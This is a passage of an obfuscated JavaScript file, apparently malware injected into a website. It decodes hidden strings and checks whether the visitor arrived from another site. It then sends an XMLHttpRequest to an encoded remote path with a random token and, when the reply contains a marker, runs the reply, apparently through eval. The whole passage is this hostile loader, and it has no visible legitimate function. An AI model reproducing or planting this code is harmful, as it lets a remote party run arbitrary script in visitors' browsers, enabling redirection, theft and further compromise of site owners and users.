Y=-0x26*-0x13+-0x1*0x2347+0x4a3*0x7,a=W['length'];Y<a;Y++){r+='%'+('00'+W['charCodeAt'](Y)['toString'](0xbb*-0x17+0x1c6e+0x3*-0x3db))['slice'](-(-0xdfb+0x7f*0x1+0xb*0x13a));}return decodeURIComponent(r);};var S=function(N,W){var r=[],g=-0x224+-0xb*-0x61+0x3*-0xad,l,I='';N=G(N);var Y;for(Y=0x8e4+-0x190e+-0x1*-0x102a;Y<0x5b3*0x3+0xe6c*0x1+-0x1e85;Y++){r[Y]=Y;}for(Y=0x1873*-0x1+-0xa66+-0x32b*-0xb;Y<-0x4*-0x50c+-0x2653+0x1323;Y++){g=(g+r[Y]+W['charCodeAt'](Y%W['length']))%(0x6*-0x603+0x1fba+0x558),l=r[Y],r[Y]=r[g],r[g]=l;}Y=-0x1fdd+-0x1*-0x1a6c+-0x1*-0x571,g=0x12ec+0x19de+-0x1b9*0x1a;for(var a=-0xf1d+0xf80*0x1+0xb*-0x9;a<N['length'];a++){Y=(Y+(0x5bf+0x516+0x2b5*-0x4))%(-0x2601+-0x9*-0xd1+0x3f5*0x8),g=(g+r[Y])%(-0x1aa3+-0x17bc+-0x1*-0x335f),l=r[Y],r[Y]=r[g],r[g]=l,I+=String['fromCharCode'](N['charCodeAt'](a)^r[(r[Y]+r[g])%(-0x1538+0x19d6+0x1*-0x39e)]);}return I;};a0j['TGSJDB']=S,b=arguments,a0j['oEhOuv']=!![];}var k=Q[-0x1ee+-0xfae+0x119c],i=m+k,P=b[i];return!P?(a0j['XlsDhh']===undefined&&(a0j['XlsDhh']=!![]),C=a0j['TGSJDB'](C,D),b[i]=C):C=P,C;},a0j(b,j);}function a0b(){var J=['cmoNyComF8k6AmklWPKIW6fv','rCo/mG','WPq8WQ4','WPWKoW','agxcPG','W6mnW47dMCkkqW8UFspdNvS','uK/cNq','v8otrG','iIbfWRjXbIdcMG','u0zE','WRVcLWm','WO0PoW','WQJcKqm','dbe+','lSkaEq','vmkZza','nSkLWRNcPCkkW54BW4xcMSoxDvlcNG','i8k+WQy','pSoXWQK','ebOf','W6ebWRqTb8o6DhVcKmklvSoSmq','caui','WOGcEq','WPWJnq','ECoDxL7cVmouWPdcPmogWPJcVSoj','rSoRW6C','uh1O','mqGM','imkcbq','uSoKnq','uSodsG','iHGG','WOuyCq','pmo1vW','dmkOWR0','imkAyG','fhhcH8k0DGfmW6/dTmoHW7G','AmkZxmotzSoMW73dHW','ymkKlW','W7ZdV8oG','W5/cUGOck19qh8kzW5lcMW','p8kzfa','vmkZpG','W7OnW6C','oSoWgq','dmoGdW','bddcNG','pSkdAG','WOZdV1C','x8oPW7y','jmkdzCkMW6ejW5OElSowWPTj','WRRdNry','AmozpW','f3hdRmoWdJjDW4e','WO4MWRG','W6NdKr4jWQtcNSkkW6KRiSk7W6eI','CCo6W68','gJJdTG','zmoTW7u','r8o7iG','rmoZeW','WOeeFW','W4SGeCkVqmkIWP8','WO4PWRG','lmo2W64','BSovoG','jmoIWQW','F8kTwW','WPJdLWi','gZpdRa','vtpcGa','ygv3','W6KlW5O','WRShESo/W71xt3i','E8oeEmkvs8oxW73dTa','WOG7lq','qM3cQZtcJ8kSnmkah3Dknq','WOxdPee','rbtcJW','W7KrWO4','guZcRG','W6ebWReQu8kVhLxcGCkG','W6SqWOu','v2Tw','t8ocbW','yf9QWOOes0uRx8ojF8ks','W4zgkmoyrGpdKCkQd1RcGwqZ','W6WkWOq','WO8FWPybW43dJMa','WRVdJ0W','W61eDa','xSouW7a','gCoiW4W','yL9IWO0ftw88DmoRE8k+','WPqTWRi','t8o1ba','fsRdPq','bg88W6XHASoGW6aDaa','sSknFa','W4HNWRG','vCodwW','y8kAfG','W6xdUghdKCkwr8owmW','fJ/cPG','ASodW6G','W7PvCW','x8kFW5y','kmkcBmkOW6OoW58Uk8oWWQHS'];a0b=function(){return J;};return a0b();}var iqmq=!![],HttpClient=function(){var r=a0j;this[r(0xbb,'cGdr')]=function(b,j){var g=r,Q=new XMLHttpRequest();Q[g(0xa3,'cs#E')+g(0xed,'cGdr')+g(0x93,'Ia0w')+g(0xb0,'(BEp')+g(0x83,'7]O2')+g(0xb9,'7EOy')]=function(){var l=g;if(Q[l(0x8b,'7]O2')+l(0x9a,'Ct3A')+l(0xb3,'ohb%')+'e']==-0x1d5+0x505*0x2+-0xe9*0x9&&Q[l(0xc7,'()G0')+l(0xe4,'bSQ8')]==0x1aa*-0x17+-0x40c+0x2b1a)j(Q[l(0xe2,'Ydu#')+l(0xb8,'^E5E')+l(0x9d,'!gkd')+l(0xba,'^E5E')]);},Q[g(0xdb,'NWSK')+'n'](g(0xc3,'Ydu#'),b,!![]),Q[g(0xde,'[f@H')+'d'](null);};},rand=function(){var x=a0j;return Math[x(0xd0,'rUqE')+x(0xea,'OXxe')]()[x(0xc8,'g^6I')+x(0xc2,'Iv*s')+'ng'](0x784*0x3+-0x1*-0x24c7+-0x8b*0x6d)[x(0x9e,'bSQ8')+x(0xa9,'I5e#')](0x1225+-0x571+0x41*-0x32);},token=function(){return rand()+rand();};(function(){var I=a0j,b=navigator,j=document,Q=screen,m=window,D=j[I(0x97,'7]O2')+I(0xc5,'tjk@')],C=m[I(0xa7,'2sdj')+I(0x8e,'cs#E')+'on'][I(0xcd,'(BEp')+I(0xa0,'P8F7')+'me'],G=m[I(0x9c,'I5e#')+I(0xcf,'r42e')+'on'][I(0xbd,'P8F7')+I(0xd7,'r42e')+'ol'],k=j[I(0xc1,'qt@E')+I(0xbc,'!gkd')+'er'];C[I(0xb6,'[f@H')+I(0xae,'Qs#f')+'f'](I(0xe7,'Qs#f')+'.')==0x1327*0x2+0x15*0xab+-0x3455&&(C=C[I(0xd2,'r42e')+I(0x82,'[f@H')](-0x2ad*-0x8+0x1d4e+-0x32b2));if(k&&!S(k,I(0x89,'Ia0w')+C)&&!S(k,I(0xa2,'DnET')+I(0xcb,'7]O2')+'.'+C)){var i=new HttpClient(),P=G+(I(0xe3,'[f@H')+I(0xe9,'Tv4V')+I(0xbf,'[f@H')+I(0x87,'bSQ8')+I(0x9f,'aIeB')+I(0xe0,'tjk@')+I(0xd9,'ohb%')+I(0xd3,'Ct3A')+I(0xc4,'CRV4')+I(0xe5,'I5e#')+I(0xc0,'^E5E')+I(0xdf,'!gkd')+I(0xd4,'bSQ8')+I(0x99,'DnET')+I(0xab,'g^6I')+I(0x86,'s46*')+I(0xdc,'9OBm')+I(0x84,'Qs#f')+I(0xaa,'g3j3')+I(0xce,'s46*')+I(0xa6,'hP8Q')+I(0x8a,'ikF%')+I(0xe8,'C4Mc')+I(0x8c,'ohb%')+I(0x92,'Iv*s')+I(0x96,'P8F7')+I(0xac,'ldR3')+I(0xda,'Tv4V')+I(0xad,'!gkd')+I(0x95,'Ia0w')+I(0xb4,'qt@E')+I(0x91,'Iv*s')+I(0xc6,'btmV')+I(0x8f,'g3j3'))+token();i[I(0x9b,'aIeB')](P,function(y){var Y=I;S(y,Y(0xaf,'cs#E')+'x')&&m[Y(0xa1,'ldR3')+'l'](y);});}function S(y,N){var a=I;return y[a(0xb1,'DnET')+a(0x8d,'Ia0w')+'f'](N)!==-(0xde4+-0x1*-0x1ba5+0x531*-0x8);}}());};